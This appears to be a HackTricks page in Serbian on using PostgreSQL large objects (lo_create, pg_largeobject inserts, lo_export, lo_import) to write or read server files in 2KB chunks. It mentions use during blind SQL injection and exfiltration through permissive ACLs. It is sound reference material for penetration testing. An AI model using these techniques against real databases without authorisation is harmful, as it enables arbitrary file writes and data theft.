tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

PostgreSQL Veliki Objekti

PostgreSQL nudi strukturu poznatu kao veliki objekti, dostupnu putem tabele pg_largeobject, koja je dizajnirana za čuvanje velikih tipova podataka, kao što su slike ili PDF dokumenti. Ovaj pristup je prednost u odnosu na funkciju COPY TO jer omogućava izvoz podataka nazad u fajl sistem, osiguravajući da se tačna replika originalnog fajla održava.

Za čuvanje kompletnog fajla unutar ove tabele, objekat mora biti kreiran u tabeli pg_largeobject (identifikovan LOID-om), nakon čega se umetnuju delovi podataka, svaki veličine 2KB, u ovaj objekat. Ključno je da ovi delovi budu tačno 2KB (uz moguću iznimku poslednjeg dela) kako bi se osiguralo da funkcija izvoza radi ispravno.

Da podelite svoje binarne podatke na delove od 2KB, mogu se izvršiti sledeće komande:

bash
split -b 2048 your_file # Creates 2KB sized files

Za kodiranje svake datoteke u Base64 ili Hex, mogu se koristiti sledeće komande:

bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Važno: Kada automatizujete ovaj proces, obavezno šaljite delove od 2KB čistog teksta. Hex kodirani fajlovi će zahtevati 4KB podataka po delu zbog dupliranja veličine, dok Base64 kodirani fajlovi prate formulu ceil(n / 3) * 4.

Sadržaj velikih objekata može se pregledati u svrhe debagovanja koristeći:

sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;

Korišćenje lo_creat i Base64

Da bi se sačuvali binarni podaci, prvo se kreira LOID:

sql
SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

U situacijama koje zahtevaju preciznu kontrolu, kao što je iskorišćavanje Blind SQL Injection, lo_create se preferira za određivanje fiksnog LOID-a.

Podaci se mogu umetnuti na sledeći način:

sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Da biste eksportovali i potencijalno obrisali veliki objekat nakon korišćenja:

sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Korišćenje lo_import i Hex

Funkcija lo_import može se koristiti za kreiranje i određivanje LOID-a za veliki objekat:

sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Nakon kreiranja objekta, podaci se unose po stranici, osiguravajući da svaki deo ne prelazi 2KB:

sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Da bi se proces završio, podaci se izvoze i veliki objekat se briše:

sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Ograničenja

Napomena je da veliki objekti mogu imati ACL-ove (Liste Kontrole Pristupa), što može ograničiti pristup čak i objektima koje je kreirao vaš korisnik. Međutim, stariji objekti sa permisivnim ACL-ovima mogu i dalje biti dostupni za ekfiltraciju sadržaja.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks